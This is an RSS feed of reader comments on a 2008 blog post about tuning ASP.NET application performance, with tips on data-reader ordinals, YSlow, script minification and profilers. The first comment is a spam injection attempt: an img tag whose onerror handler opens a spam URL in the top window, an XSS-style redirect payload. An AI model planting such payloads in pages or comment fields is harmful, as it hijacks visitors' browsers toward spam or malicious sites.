<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://weblogs.asp.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx</link><description>Over the coming posts in this series we will explore some of the ways in which I've learnt to "Pimp up my ASP.NET applications". This won't be a technical journey though, rather, it'll be much more about the method of my madness and will explain why I</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#6091024</link><pubDate>Sat, 12 Apr 2008 12:00:46 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:6091024</guid><dc:creator>mypicst</dc:creator><author>mypicst</author><description>&lt;p&gt;my pics &amp;lt;img src=&lt;a rel="nofollow" target="_new" href="http://google.com/444.gif"&gt;http://google.com/444.gif&lt;/a&gt; onerror=&amp;quot;window.open('&lt;a rel="nofollow" target="_new" href="http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/"&gt;gomyron.com/.../spm&lt;/a&gt;','_top')&amp;quot;&amp;gt;&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=6091024" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#6087433</link><pubDate>Fri, 11 Apr 2008 14:36:29 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:6087433</guid><dc:creator>Memmorium</dc:creator><author>Memmorium</author><description>&lt;p&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;Good idea!&lt;/p&gt;
&lt;p&gt;P.S. A U realy girl?&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=6087433" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#5760960</link><pubDate>Mon, 11 Feb 2008 16:54:03 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:5760960</guid><dc:creator>Helen</dc:creator><author>Helen</author><description>&lt;p&gt;One tool I love for tweaking the performance of ASP.NET apps is Antz Profiler (&lt;a rel="nofollow" target="_new" href="http://www.red-gate.com/products/ants_profiler/index.htm"&gt;www.red-gate.com/.../index.htm&lt;/a&gt;) from RedGate. You can run your app and it will tell you which lines are taking the longest to complete (or what's using the most memory). Makes it easy to figure out which parts of your app need tweaking and makes it easy to see the real differences in speed of the changes you make.&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=5760960" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#5760467</link><pubDate>Mon, 11 Feb 2008 15:48:34 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:5760467</guid><dc:creator>Bill Pierce</dc:creator><author>Bill Pierce</author><description>&lt;p&gt;Hey Phil,&lt;/p&gt;
&lt;p&gt;I like to replace all of my foreach loops with for loops, to save .01&amp;#181; per iteration :)&lt;/p&gt;
&lt;p&gt;If changing from string accessors to ordinal accessors makes a measurable improvement in the user experience, then your application is running way too fast.&lt;/p&gt;
&lt;p&gt;+1 to YSlow. &amp;nbsp;Makes a lot of valuable suggestions for real optimizations including the biggies like compression and content expiration. &amp;nbsp;Another one that is not often thought of is combining all of your js files into a single file, then running it through a minifier, AND putting it at the bottom of your page (rather than in the head where it is traditionally located). &amp;nbsp;In development I keep my js files separated then cat them together and run them through a minifier during the automated build. &amp;nbsp;Makes a noticeable difference when combined with compression, especially for dial-up users.&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=5760467" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#5758825</link><pubDate>Mon, 11 Feb 2008 11:33:52 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:5758825</guid><dc:creator>Chris G</dc:creator><author>Chris G</author><description>&lt;p&gt;Brill Phil, keep 'em coming.&lt;/p&gt;
&lt;p&gt;On your accessing fields by strings point - I have used enums to help keep some kind of readability whilst optimising performance.&lt;/p&gt;
&lt;p&gt;Ta.&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=5758825" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#5751971</link><pubDate>Sun, 10 Feb 2008 15:20:45 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:5751971</guid><dc:creator>barryd</dc:creator><author>barryd</author><description>&lt;p&gt;You lose the &amp;quot;performant&amp;quot; brownie points by putting the image of you pimping, complete with fur coat and hat, in my head.&lt;/p&gt;
&lt;p&gt;I agree with Dave, the GetOrdinal call is the way I go if I can.&lt;/p&gt;
&lt;p&gt;It's funny how expression will optimise and remove spaces and comments when it publishes, but VS2008 won't.&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=5751971" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#5750341</link><pubDate>Sun, 10 Feb 2008 10:16:58 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:5750341</guid><dc:creator>Dave</dc:creator><author>Dave</author><description>&lt;p&gt;I agree with you about the use of GetIn/GetString/etc on a reader; I think only under the highest stress will the perf difference show, and to be quite honest I don't think most people (myself included) really know how to do performance testing to that level. However, if you do want the fastest possible access, declare some variables and use GetOrdinal, eg:&lt;/p&gt;
&lt;p&gt;int _IPColumn = reader.GetOrdinal(&amp;quot;IP&amp;quot;);&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;U.IP = reader.GetString(_IPColumn);&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=5750341" width="1" height="1"&gt;</description></item><item><title>re: Pimp my ASP.NET web application - Part One</title><link>http://weblogs.asp.net/plip/archive/2008/02/09/pimp-my-asp-net-web-application-part-one.aspx#5747778</link><pubDate>Sun, 10 Feb 2008 00:37:54 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:5747778</guid><dc:creator>Chris Hardy (ChrisNTR)</dc:creator><author>Chris Hardy (ChrisNTR)</author><description>&lt;p&gt;Yslow for Firebug - &lt;a rel="nofollow" target="_new" href="http://developer.yahoo.com/yslow/"&gt;developer.yahoo.com/yslow&lt;/a&gt; (Firefox extension) is also a great tool for checking site performance and it even provides helpful hints.&lt;/p&gt;
&lt;p&gt;Something I use for PHP is compressing the css and js into one file thus reducing the http requests and increasing the performance. Would be good to know if there was something similar in ASP.NET.&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=5747778" width="1" height="1"&gt;</description></item></channel></rss>